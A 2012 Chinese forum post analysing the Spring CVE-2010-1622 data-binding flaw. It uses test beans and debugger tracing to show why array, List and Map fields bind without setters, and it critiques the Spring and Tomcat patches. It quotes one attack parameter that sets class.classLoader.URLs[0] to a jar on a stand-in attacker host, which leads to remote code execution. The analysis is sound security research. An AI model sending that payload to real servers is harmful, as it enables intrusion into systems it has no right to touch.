精华帖 (0) :: 良好帖 (0) :: 新手帖 (0) :: 隐藏帖 (0)
|
|
---|---|
作者 | 正文 |
发表时间:2012-05-04
什么是Cve-2010-1622? Spring漏洞,官方发布的漏洞http://www.springsource.com/security/cve-2010-1622 一些参考的分析文章: 文章一:http://blog.o0o.nu/2010/06/cve-2010-1622.html 文章二:http://www.inbreak.net/archives/377
分析: 笔者先看了下Spring官方的漏洞说明,这里描述确实不清楚,具体怎么修复的也没有提到。 然后又先后看了后面2篇文章,都颇具几分道理,但发觉心中的疑惑还是不解。这里先给大家概括下后面2篇分析文章:
文章一提到Java bean的API Introspector. getBeanInfo 会获取到该POJO的基类Object.class的属性class,进一步可以获取到Class.class的诸多属性,包括classloader。classLoader中有个属性叫URLs[0]. 另外Spring提供了可以从页面的表单直接绑定到后台bean的属性的机制,所以有一种可能就是可以从前台提交参数 : class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/
经过Spring绑定URLs[0]到classloader后,刚好Jasper's TldLocationsCache 会从WebappClassLoader里面读取url参数并用来解析TLD文件。如果spring-exploit.jar里面包含修改后的spring-form.tld,黑客的目的就达到了,可以这里面引用的tag文件里做一些远程代码执行的事。
文章二提到的拒绝访问中提到可以修改class.classLoader.delegate属性,来达到目地,实际上没人会把catalina.jar放入/WEB-INF/lib/,这种本身就是有问题的,网上的所谓设置delegate为true的解决办法本身就是一种以错治错的方法,所以这种攻击对于正常的tomcat部署是不会发生的。 文章二提到的远程代码执行和文章一差不多,都是通过spring的自动绑定前台form的表单字段到后台的bean的属性,但是关于哪些属性可以绑定这块不太对,比如提到class和classloader都可以绑,其实是有问题的。
笔者分析完这两篇文章后,存在如下几个疑惑: 1. 怎样的属性可以被spring自动绑定?是不是需要包含getter和setter方法的属性呢。因为出于安全考虑,这个是标准的做法。 2. Object的class属性, Class的classLoader属性其实都是不存在的,只存在getter方法。对应的属性是通过native获取的。 ClassLoader的URLs[0]属性其实也只有getter方法,这个属性是怎么绑定进去的? 3. Spring官方中提到3.0.3中已经修复该bug,修复的方法是? 4. Spring在什么时候调用Java bean的API Introspector. getBeanInfo,以及怎样去实现自动绑定的?
为此,笔者准备了一个测试例子:
后台bean类: package com.bingbing;
public class UserInfo {
/*** * id ,包含get和set方法 */ private String id ;
/** * number,只有set方法 */ private String number ;
/** * info对象,模拟Class对象,里面的idnumber模拟classloader对象。这样做是因为classloader对象已经被spring过滤调了,后面会有解析 * 只有get方法 */ private StudentInfo studentInfo =new StudentInfo();
/** * 数组对象,模拟URL[] * 只有get方法 */ private String names[] = new String[]{"1"};
public String getId() { return id; } public void setId(String id) { this.id = id; } public String getNumber() { return number; } public StudentInfo getStudentInfo() { return studentInfo; } public String[] getNames() { return names; } }
StudentInfo只有一个属性idnumber,且含有get,set方法,这里就不贴代码了。
处理的controller类: package com.bingbing;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping;
@Controller public class ExpTest {
@RequestMapping(value = "expTest.xhtml") public void test(UserInfo info) { System.out.println("id:"+ info.getId()); System.out.println("number:"+ info.getNumber()); System.out.println("class:"+ info.getClass()); System.out.println("idnumber:"+ info.getStudentInfo().getIdnumber()); System.out.println("names[0]:"+ info.getNames()[0]); System.out.println("classLoader:"+ info.getClass().getClassLoader()); } }
然后触发如下请求:
测试结果如下: id:111 number:null class:class com.bingbing.UserInfo idnumber:777 names[0]:33333 classLoader:WebappClassLoader
咱们来分析一下: Id属性因为有get和set方法,能够绑定成功无可非议。 Number属性因为没有set方法,没有设置成功,实属正常,符合我们最初的想法。 Class属性也没有设置成功,也属正常,因为class只有get方法,没有set方法。 classLoader属性也没有设置成功,和class属性类似,没有set方法,所以文章二中提到的可以给class和classloader赋值是不准确的。 Idnumber赋值成功,有点奇怪了,因为studentInfo对象只有get方法,他里面的属性却给赋值了。这也是漏洞中为什么classloader中的URL[0]可以赋值的一个原因。 names[0]赋值成功,很奇怪!names[0]是只有get方法的,却赋值成功了,相对于number字段,这里是不是有点字段歧视的味道! 第一个疑惑解了,再往后看。后面的疑惑只要我们弄清楚spring的自动绑定机制就可以整清楚来弄去脉了。 有什么方法可以最快弄清楚里面怎么实现的呢,Debug!
先来第一张图:
从这里就可以看出绑定的调用流程,通过解析请求参数,到绑定参数,然后到了BeanWrapperImpl的父类AbstractPropertyAccessor的setPropertyValue方法中。
在开始绑定之前,咱们看一下请求参数对了没:
再往里面看具体的绑定:
首先从CachedIntrospectionResults中获取PropertyDescriptor ,再看看CachedIntrospectionResults怎么来的: 【注:上面的this.object是调用getProperty获取的,也就是字段的get方法。这个this.object会设置到CachedIntrospectionResults中. 也就是如果this.object是子对象的话,比如studentInfo.idnumber这样的参数,当解析studentInfo时,会把get方法返回的实例传进去,其实内部只是用到了这个返回值的类型,以解析该类字段的属性。这也是为什么Idnumber能够赋值成功的原因。 】
这里就是文章二作者提到的 Introspector. getBeanInfo 方法了,检查了下beaninfo的值,里面确实把Object.class的属性都查出来了,这些属性甚至不需要具体的属性字段,只需要一个get方法即可。比如通过getClass方法就可以查出来class这个属性。
好了,知道属性从哪里来的了,再看看那个判断:
这里大家发现如果没有这个属性或者对应的属性的write方法不存在,这个属性就不会赋值。到这里我们的理解还是对的,只有set方法才会自动绑定。这就是说class和classloader属性是不会自动绑定的。
那names[0]是怎么赋值成功的呢? 原来spring对array有特殊的处理:
在发现字段属性是数组的时候,准确来说,是发现get方法返回值是数组的时候,就认为是数组类型的字段,大家从上面的截图也可以看出,writeMethod确实为空的。但是,后面的处理就比较怪异了,调用了Array.set(propValue, arrayIndex, convertedValue); 方法,这个方法就直接把get方法返回那个数组对象改了,直接绕过了set方法这个处理。 顺便还看了这个方法的后面处理代码,: else if (propValue instanceof List) { PropertyDescriptor pd = getCachedIntrospectionResults().getPropertyDescriptor(actualName);
list.add(convertedValue); } } else if (propValue instanceof Map) { map.put(convertedMapKey, convertedMapValue); }
也就是说对于Array,List,Map类型的字段,是不需要set方法的,只需要一个get方法就可以自动赋值。这个功能是很强大,但这会不会根本不是开发人员的本意呢!其实这也是远程代码执行的根本原因,也是黑客可以利用的漏洞。
咱们再来看看Spring3.0.3对之的修复方法: 类CachedIntrospectionResults:
也就是说在利用Introspector. getBeanInfo获取到属性后,过滤掉classloader属性。个人感觉这个修复不专业,相当于只修复了问题的表面,没有修复根本。如果class的其他的某个属性里面有类似的数组,列表和map的字段,刚好这些字段又可以被利用的话,会不会又是另外一个漏洞的产生呢?
Tomcat对此也有修复,其中文章二也提到了: http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h 居然在tomcat6.0.28之后的版本,把 public URL[] getURLs() { if (repositoryURLs != null) { return repositoryURLs; } 改为了 public URL[] getURLs() { if (repositoryURLs != null) { return repositoryURLs.clone(); } 还美其名曰:
Tomcat这个修复也挺有意思的。估计是tomcat的作者意识到repositoryURLs这个字段被spring改了后,出现这个漏洞,觉得自己也脱不了干系,算了,得想个办法不让你spring改,怎么办呢?我给你spring一个拷贝的版本,够绝吧,spring拿了个山寨的版本,改了也没用,我tomcat还是照旧用我自己真正的这个repositoryURLs。
总的说来,这个bug的产生一方面说明spring的自动绑定功能确实很强大,但也说明了其可以利用的漏洞。虽然spring和tomcat都相继发布修复办法,但个人感觉还是没有“治根治本”。 Spring可以考虑修改CachedIntrospectionResults类,使用Introspector的 BeanInfo getBeanInfo(Class beanClass, Class stopClass)方法指定stopclass为Object.Class,这样可以让Object类里面的属性不再暴露出来,提高了安全性。从Spring框架上来说,Object的这些东西是不让业务修改的。 当然,如果Spring重新审视一下为什么需要把Array,List,map的绑定绕过set的限制,因为不管是业务类还是JDK相关的类,可以让外面修改的都会提供set方法或者接口,如果没有可以设置的接口,这种”走后门”的设置方法还是很不安全的。如果能够不绕过这个限制,那就真的安全了。
声明:ITeye文章版权属于作者,受法律保护。没有作者书面许可不得转载。
推荐链接
|
|
返回顶楼 | |
发表时间:2012-05-04
分析的很精彩的
|
|
返回顶楼 | |
浏览 6246 次